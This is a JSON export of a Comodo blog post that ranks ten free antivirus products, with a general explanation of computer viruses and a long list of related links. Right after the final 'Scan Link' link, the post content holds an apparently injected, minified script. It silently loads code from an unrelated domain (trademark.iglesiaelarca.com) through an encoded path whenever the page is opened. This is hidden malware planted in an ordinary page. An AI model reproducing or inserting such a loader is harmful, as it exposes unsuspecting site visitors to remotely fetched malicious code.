{"id":1985,"date":"2025-10-30T03:30:00","date_gmt":"2025-10-29T22:00:00","guid":{"rendered":"https:\/\/antivirus.comodo.com\/blog\/?p=1985"},"modified":"2026-03-31T15:46:29","modified_gmt":"2026-03-31T10:16:29","slug":"best-antivirus-of-2019","status":"publish","type":"post","link":"https:\/\/antivirus.comodo.com\/blog\/computer-safety\/best-antivirus-of-2019\/","title":{"rendered":"The Best Free Antivirus Software"},"content":{"rendered":"<p align=\"justify\">&#8220;Top 10&#8221; The best free antivirus program choices around today to help keep your devices (Computer, Laptop, Smartphones, Tablets, etc.\u2026) safe. Antivirus software is the &#8220;security guard&#8221; at the gate of a computer system. It protects your devices from incoming threats and seeks out, destroys and warns of possible threats to the system. The job of the antivirus program to keep up with the latest threats.<\/p>\n<p align=\"justify\">Malware authors are so nefarious that they create deadly viruses to uncover your monetary data or prevent your PC from working by any means. What you require is the most ideal antivirus programming on your PC. Thanks to the lucky stars, as the giant leaders in the security industry do deliver their best products&#8230; Many organizations offer their prevalent antivirus programs for their clients. My top picks are Comodo Antivirus, Avast Antivirus, AVG Anti-Virus, and the list ends with similar alternatives however make sure to look through the in order list underneath to understand the best antivirus for you.<\/p>\n<p>The Importance of Antivirus Software One of the most common reasons for failures or problems in computers is the lack of antivirus software, or expired antivirus software. It is an issue which is often overlooked and has dire consequences for the unfortunate computer owner. What Is a Virus? These days there are so many different types of virus.<\/p>\n<p>So what is a virus? A virus is usually hidden, and can do a number of things, as it relates to the health of the computer. A few examples are provided below: Make a computer run slowly Prevent computers from booting up Damage parts of the system or amend how the system operates without the owner&#8217;s knowledge Be used to steal personal details Move from machine to machine on a network Attack other machines using machine as a host Send out unauthorized messages So, like a human virus a computer virus can be dangerous and possibly infectious to other computers.<\/p>\n<p>They can be spread between computers, and can also be transported via email. It is not limited to software however, as they can also be transported via USB drives and other types of media. Where Does a Computer Viruses&#8217; Come From? Computer viruses are usually malicious computer programs written in order to damage other people&#8217;s machines or steal information or even cash. They are usually highly skilled programmers who have decided to use their skills in a negative manner.<\/p>\n<p>Some viruses are written as an &#8220;ego&#8221; boost. In other words, some programmers write these things just to prove that they can hack into a major site or obtain private information. However, there are also criminal programmers who have a much more devious intention. What Types of Virus Are There? Sometimes the definition of what constitutes a virus is not clearly defined. In general a virus almost always damages files on a computer. Some other types of malicious software such as spyware are used to steal information from the user but may not damage the computer.<\/p>\n<div>\n<h2>Top 10 Free Antivirus Software<\/h2>\n<div>\n<div>\n<ul>\n<li>Comodo Antivirus<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<div>\n<ul>\n<li>AVAST Antivirus<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<div>\n<ul>\n<li>AVG Antivirus<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<div>\n<ul>\n<li>Avira Antivirus<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<div>\n<ul>\n<li>Bitdefender Antivirus<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<div>\n<ul>\n<li>Microsoft Security Essentials (MSE)<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<div>\n<ul>\n<li>Ad-Aware Antivirus<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<div>\n<ul>\n<li>Amiti Antivirus<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<div>\n<ul>\n<li>Panda Protection<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<div>\n<ul>\n<li>Baidu Antivirus<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<h3><strong>Comodo Antivirus<\/strong><\/h3>\n<p align=\"justify\">Comodo offers the <a href=\"https:\/\/antivirus.comodo.com\/security\/best-free-antivirus-program\/\" target=\"_blank\" rel=\"noopener\">best free antivirus software<\/a> available in the market. It takes the lead amongst its counterparts as it incorporates the best of its innovation \u2013 the Defense+ technology, containment techniques, sandboxing and what not to assure <a href=\"https:\/\/antivirus.comodo.com\/virus-protection.php\">virus protection<\/a> that is 100% efficient. <a title=\"Comodo Antivirus\" href=\"https:\/\/www.comodo.com\/home\/internet-security\/antivirus.php\" target=\"_blank\" rel=\"noopener\">Comodo Antivirus<\/a> outsmarts the alternative as it quarantines the unknown file and executes the same in the isolated environment denying interference to the company\u2019s normal operations. The Antivirus supports Windows 10, Windows 8, Windows 7, Windows Vista, and Windows XP. It stays updated on the latest virus definitions so stands robust to defeat even the most latest malware threats.<\/p>\n<p><a href=\"https:\/\/secure.nurd.com\/home\/purchase.php?pid=109&amp;af=16166&amp;track=16166\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-8604\" src=\"https:\/\/antivirus.comodo.com\/blog\/wp-content\/uploads\/2020\/08\/complete-antivirus.png\" alt=\"comodo antivirus\" width=\"650\" height=\"83\" \/><\/a><\/p>\n<h3><strong>AVAST Antivirus<\/strong><\/h3>\n<p align=\"justify\">AVAST Antivirus definitely should be on any rundown of the best free antivirus programs. The antivirus from AVAST is feature-filled antivirus and antispyware system shielding your PC from dangers from the web, your documents, messages, and even unknown texts. It features the \u201cheuristics engine\u201d which helps to identify the previous unknown threats as well.<\/p>\n<p align=\"justify\">I additionally like the way that AVAST has been making antivirus item since 1988 and is frequently referred to as the most introduced antivirus software.<\/p>\n<h3><strong>AVG Antivirus<\/strong><\/h3>\n<p align=\"justify\">AntiVirus from AVG is one of the best antivirus programming systems accessible and is likely our undisputed choice. AVG AntiVirus is no doubt an undisputable antivirus and antispyware software that, incorporates an email scanner, connect scanner, planned filtering choices, programmed updates, and more. There is no compelling reason to pay for an antivirus program when AVG provides a power packed antivirus system to drive away your threats.<\/p>\n<p><strong>Here are the reasons why the AVG AntiVirus is one of the most elite antivirus programs accessible today:<\/strong><\/p>\n<ol>\n<li>It features immense number of premium traits,<\/li>\n<li>Devised to stay updated on the latest virus definition<\/li>\n<li>There is never a look back after<\/li>\n<\/ol>\n<h3><strong>Avira Antivirus<\/strong><\/h3>\n<p align=\"justify\">Avira Antivirus shields you from malicious infections, worms, Trojans, spyware, adware, and different sorts of malware, making it a completely utilitarian anti-malware system and one of the best antivirus programs. It supports Windows 10, 8, 7, Vista, and XP operating system. Avira Antivirus has a propelled heuristic mechanism which is a component not generally found in most of the antivirus devices. Above all, it is also pliable to support Mac operating systems.<\/p>\n<p>However, being a novice, the configuration after was challenging and that would be one factor to pull down the rating.<\/p>\n<h3><strong>Bitdefender Antivirus<\/strong><\/h3>\n<p align=\"justify\">Bitdefender Antivirus Edition is keeping pace with any of the ostensibly better-known antivirus programs on this rundown. Here are some key takeaways on the Bitdefender Antivirus Edition:<\/p>\n<ul>\n<li>It is simple to set-up and arrange<\/li>\n<li>It does not use much of the system resources<\/li>\n<li>It is not bothersome with self-promoting ads to upgrade to it\u2019s paid subscriptions and offers.<\/li>\n<\/ul>\n<p align=\"justify\">The Bitdefender Antivirus Edition is simple to install and easy to use \u2013 most at the user\u2019s convenience. It is user-friendly than any other antivirus programs. It helps to stay ahead of threats by updating the latest virus definitions.<\/p>\n<h3><strong>Microsoft Security Essentials (MSE)<\/strong><\/h3>\n<p align=\"justify\">Security Essentials from Microsoft is certainly one of the best antivirus programs. Security Essentials is a top-notch antivirus program that shields you from a wide range of malware, easy to use, and gets updated on threats automatically.<\/p>\n<p><strong>Two good reasons for Microsoft security essentials to top the list are:<\/strong><\/p>\n<ol>\n<li>The antivirus system is inbuilt which is by default \u2013 a part of Microsoft<\/li>\n<li>Simple to use.<\/li>\n<li>The software boasts of a user-friendly interface.<\/li>\n<\/ol>\n<h3><strong>Ad-Aware Antivirus<\/strong><\/h3>\n<p align=\"justify\">Lavasoft\u2019s Ad-Aware Antivirus+ program is unique from any other ad-aware you have used. This program is genuine antivirus program. Ad-Aware Antivirus+ supports Windows 10, 8, 7, Vista, and XP. The antivirus provides instant, real-time system protection from spyware, viruses, and other malicious forms. It assures to be in silent mode when the user is gaming or while the user watches movies to mitigate the interference on the system resources.<\/p>\n<h3><strong>Amiti Antivirus<\/strong><\/h3>\n<p align=\"justify\">Amiti virus is designed specially to protect Windows. It provides consistent virus protection with heuristic scanning system all equipped for an on-access protection. It ensures scheduled scans and automatic updates on the latest malware definitions. It also provides multiple types of scan options.<\/p>\n<h3><strong>Panda Protection<\/strong><\/h3>\n<p align=\"justify\">Panda Protection which was once known as Panda Antivirus is another best antivirus on this list. It delivers absolute protection to defy the most challenging unknown threats. Works well at par with other antivirus we have identified.<\/p>\n<ol>\n<li>It ensures URL and web filtering<\/li>\n<li>It provides automatic USB protection<\/li>\n<li>It supports all versions of Windows operating system- 10, 8, 7, Vista and XP.<\/li>\n<\/ol>\n<h3><strong>Baidu Antivirus<\/strong><\/h3>\n<p align=\"justify\">Baidu Antivirus 2015 is feature-packed to fight against malware through its cloud-based database which is updated with the latest virus definitions. It delivers prompt protection much instantly utilizing minimal system resources, and operates to perfection just as other antivirus programs in the list.<\/p>\n<p><a href=\"https:\/\/antivirus.comodo.com\/blog\/computer-safety\/coronavirus-push-lokibot-trojan-malware-unsuspecting-users\/\">Covid-19 Themed Malware<\/a><\/p>\n<p><a href=\"https:\/\/antivirus.comodo.com\/download\/thank-you.php?prod=cloud-antivirus&amp;track=16678&amp;af=16678\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-8604\" src=\"https:\/\/antivirus.comodo.com\/blog\/wp-content\/uploads\/2018\/04\/Comodo-Free-Antivirus.png\" alt=\"comodo antivirus\" \/><\/a><\/p>\n<hr noshade=\"noshade\" \/>\n<p><strong>Related Resources:<\/strong><\/p>\n<p><strong><a href=\"https:\/\/antivirus.comodo.com\/blog\/computer-safety\/five-best-virus-and-malware-removal-tools\/\" target=\"blank\" rel=\"noopener\">Best Virus Removal Tool<\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/antivirus.comodo.com\/security\/best-paid-antivirus.php\" target=\"blank\" rel=\"noopener\">Best Paid Antivirus<\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/antivirus.comodo.com\/antivirus-for-windows-7\/\" target=\"blank\" rel=\"noopener\">Windows Antivirus<\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/antivirus.comodo.com\/blog\/comodo-news\/best-antivirus-windows-pc-2020\/\" target=\"blank\" rel=\"noopener\">Best Antivirus<\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/antivirus.comodo.com\/free-virus-removal-software.php\">Virus Removal<\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/cwatch.comodo.com\/perform-website-safety-check.php\" target=\"_blank\" rel=\"noopener noreferrer\">Website Safety Check<\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/cwatch.comodo.com\/best-website-security-for-enterprise.php\">Best Website Security<\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/cwatch.comodo.com\/website-checker.php\">Website Checker<\/a><\/strong><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/sitescanner\/\" target=\"_blank\" rel=\"noopener\">Website Scanner<\/a><\/p>\n<p><strong><a href=\"https:\/\/cwatch.comodo.com\/website-vulnerability-scanner-tools\/\">Website Vulnerability Scanner<\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/webinspector.com\/website-malware-scanner\/\">Website Malware Scanner<\/a><\/strong><\/p>\n<p><a href=\"https:\/\/www.belugacdn.com\/blog\/hosting\/free-web-hosting\/\" target=\"_blank\" rel=\"noopener noreferrer\">Free Website Hosting<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/website-backup\/\" target=\"_blank\" rel=\"noopener noreferrer\">Website Backup<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/blog\/website-security\/password-hacker\/\" target=\"_blank\" rel=\"noopener noreferrer\">Password Hacker<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/web-application-protection.php\" target=\"_blank\" rel=\"noopener noreferrer\">Web Application Protection<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/web-security-check.php\" target=\"_blank\" rel=\"noopener noreferrer\">Web Security Check<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/website-protection-software.php\" target=\"_blank\" rel=\"noopener noreferrer\">Website Protection Software<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/website-security\/best-ddos-protection.php\" target=\"_blank\" rel=\"noopener\">Best DDoS Protection<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/website-virus-scan.php\" target=\"_blank\" rel=\"noopener\">Website Virus Scan<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/ddos-service\/hacker-protection.php\" target=\"_blank\" rel=\"noopener\">Hacker Protection<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/website-security\/free-website-monitoring.php\" target=\"_blank\" rel=\"noopener\">Free Website Monitoring<\/a><\/p>\n<p><a href=\"https:\/\/www.itarian.com\/best-remote-desktop.php\" target=\"_blank\" rel=\"noopener\">Best Remote Desktop Software<\/a><\/p>\n<p><a href=\"https:\/\/www.itarian.com\/remote-desktop-connection-manager.php\" target=\"_blank\" rel=\"noopener\">Remote Desktop Connection Manager<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/how-to-secure-your-website.php\" target=\"_blank\" rel=\"noopener\">How to Secure your Website<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/how-to-check-if-a-website-is-safe.php\" target=\"_blank\" rel=\"noopener\">Check Website Safety<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/blog\/website-security\/what-is-https-and-why-switching-to-https\/\" target=\"_blank\" rel=\"noopener\">What does HTTPS Mean<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/website-malware-removal.php\" target=\"_blank\" rel=\"noopener\">Website Malware Removal<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/website-status-checker.php\" target=\"_blank\" rel=\"noopener\">Website Status<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/dns-security\/link-scanner.php\" target=\"_blank\" rel=\"noopener\">Link Scanner<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/blog\/website-security\/hashing-algorithm\/\" target=\"_blank\" rel=\"noopener\">What is Hashing<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/blog\/website-security\/how-to-spot-a-fake-fraudulent-or-scam-website\/\" target=\"_blank\" rel=\"noopener\">Website Scam Checker<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/blog\/website-security\/how-to-tell-if-a-website-is-safe\/\" target=\"_blank\" rel=\"noopener\">Is This Website Safe<\/a><\/p>\n<p><a href=\"https:\/\/www.comodo.com\/managed-detection-response\/\" target=\"_blank\" rel=\"noopener\">Managed Detection and Response<\/a><\/p>\n<p><a href=\"https:\/\/www.itarian.com\/itsm\/it-service-management.php\" target=\"_blank\" rel=\"noopener\">IT Service Management<\/a><\/p>\n<p><a href=\"https:\/\/cwatch.comodo.com\/free-url-scanner.php\" target=\"_blank\" rel=\"noopener\">Scan Link<\/a><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;Top 10&#8221; The best free antivirus program choices around today to help keep your devices (Computer, Laptop, Smartphones, Tablets, etc.\u2026) safe. Antivirus software is the &#8220;security guard&#8221; at the gate of a computer system. It protects your devices from incoming threats and seeks out, destroys and warns of possible threats to the system. The job [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":11153,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-1985","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-computer-safety"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Best Antivirus | Top 10 Free Antivirus Software<\/title>\n<meta name=\"description\" content=\"Best Antivirus Software. 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Here find the top 10 free antivirus software and their features that help to keep your PC and smartphones safe from virus threats.\",\"breadcrumb\":{\"@id\":\"https:\/\/antivirus.comodo.com\/blog\/computer-safety\/best-antivirus-of-2019\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/antivirus.comodo.com\/blog\/computer-safety\/best-antivirus-of-2019\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/antivirus.comodo.com\/blog\/computer-safety\/best-antivirus-of-2019\/#primaryimage\",\"url\":\"https:\/\/antivirus.comodo.com\/blog\/wp-content\/uploads\/2019\/09\/best-antivirus-software.jpg\",\"contentUrl\":\"https:\/\/antivirus.comodo.com\/blog\/wp-content\/uploads\/2019\/09\/best-antivirus-software.jpg\",\"width\":650,\"height\":365,\"caption\":\"The Importance of Antivirus Software One of the most common reasons for failures or problems in computers is the lack of antivirus software, or expired antivirus software. It is an issue which is often overlooked and has dire consequences for the unfortunate computer owner. What Is a Virus? These days there are so many different types of virus. So what is a virus? A virus is usually hidden, and can do a number of things, as it relates to the health of the computer. A few examples are provided below: Make a computer run slowly Prevent computers from booting up Damage parts of the system or amend how the system operates without the owner's knowledge Be used to steal personal details Move from machine to machine on a network Attack other machines using machine as a host Send out unauthorized messages So, like a human virus a computer virus can be dangerous and possibly infectious to other computers. They can be spread between computers, and can also be transported via email. It is not limited to software however, as they can also be transported via USB drives and other types of media. Where Does a Computer Viruses' Come From? Computer viruses are usually malicious computer programs written in order to damage other people's machines or steal information or even cash. They are usually highly skilled programmers who have decided to use their skills in a negative manner. Some viruses are written as an \\\"ego\\\" boost. In other words, some programmers write these things just to prove that they can hack into a major site or obtain private information. However, there are also criminal programmers who have a much more devious intention. What Types of Virus Are There? Sometimes the definition of what constitutes a virus is not clearly defined. In general a virus almost always damages files on a computer. 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Here find the top 10 free antivirus software and their features that help to keep your PC and smartphones safe from virus threats.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/antivirus.comodo.com\/blog\/computer-safety\/best-antivirus-of-2019\/","og_locale":"en_US","og_type":"article","og_title":"Best Antivirus | Top 10 Free Antivirus Software","og_description":"Best Antivirus Software. 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Here find the top 10 free antivirus software and their features that help to keep your PC and smartphones safe from virus threats.","breadcrumb":{"@id":"https:\/\/antivirus.comodo.com\/blog\/computer-safety\/best-antivirus-of-2019\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/antivirus.comodo.com\/blog\/computer-safety\/best-antivirus-of-2019\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/antivirus.comodo.com\/blog\/computer-safety\/best-antivirus-of-2019\/#primaryimage","url":"https:\/\/antivirus.comodo.com\/blog\/wp-content\/uploads\/2019\/09\/best-antivirus-software.jpg","contentUrl":"https:\/\/antivirus.comodo.com\/blog\/wp-content\/uploads\/2019\/09\/best-antivirus-software.jpg","width":650,"height":365,"caption":"The Importance of Antivirus Software One of the most common reasons for failures or problems in computers is the lack of antivirus software, or expired antivirus software. It is an issue which is often overlooked and has dire consequences for the unfortunate computer owner. What Is a Virus? These days there are so many different types of virus. So what is a virus? A virus is usually hidden, and can do a number of things, as it relates to the health of the computer. A few examples are provided below: Make a computer run slowly Prevent computers from booting up Damage parts of the system or amend how the system operates without the owner's knowledge Be used to steal personal details Move from machine to machine on a network Attack other machines using machine as a host Send out unauthorized messages So, like a human virus a computer virus can be dangerous and possibly infectious to other computers. They can be spread between computers, and can also be transported via email. It is not limited to software however, as they can also be transported via USB drives and other types of media. Where Does a Computer Viruses' Come From? Computer viruses are usually malicious computer programs written in order to damage other people's machines or steal information or even cash. They are usually highly skilled programmers who have decided to use their skills in a negative manner. Some viruses are written as an \"ego\" boost. In other words, some programmers write these things just to prove that they can hack into a major site or obtain private information. However, there are also criminal programmers who have a much more devious intention. What Types of Virus Are There? Sometimes the definition of what constitutes a virus is not clearly defined. In general a virus almost always damages files on a computer. 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